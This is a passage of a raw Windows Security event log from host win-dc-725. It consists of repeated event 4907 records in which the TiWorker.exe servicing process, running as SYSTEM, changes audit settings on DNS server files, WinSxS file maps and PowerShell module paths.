Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247081
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dnsmgr.dll
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247080
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dnsmgmt.msc
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247079
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dnscmd.exe
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247078
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\dns.exe
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247077
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DNS\0409\dnsperf.ini
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247076
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DNS\0000\dnsperf.ini
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247075
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\INF\DNS\dnsperf.h
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247074
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\ProgramData\Microsoft\Event Viewer\Views\ServerRoles\DnsServer.Events.xml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247073
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_event_viewer_views_serverroles_36b1368cd034c4a0.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247072
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247071
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247070
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247069
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247068
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247067
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\programdata.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247066
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_dns_0000_a9f422c913ee6b04.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247065
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_dns_0409_a9f42a7313ee5f4f.cdf-ms
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247064
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_dns_b45bd646559d7e38.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247063
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_3f581daba4c8c835.cdf-ms
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247062
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_dns_samples_12e6b2bbbaf4ad18.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247061
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247060
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_en-us_4555b1beb1c13883.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247059
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_06656d9fdf2f8577.cdf-ms
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247058
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dnsserver_b0e2c53d0808a92c.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247057
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247056
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247055
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247054
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_dnsserver_0e521656ba347d64.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247053
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_modules_b001352a7f7811a4.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247052
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_windowspowershell_v1.0_19ae85881f1c4f2d.cdf-ms
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247051
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_syswow64_21ffbdd2a2dd92e0.cdf-ms
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247050
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$.cdf-ms
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
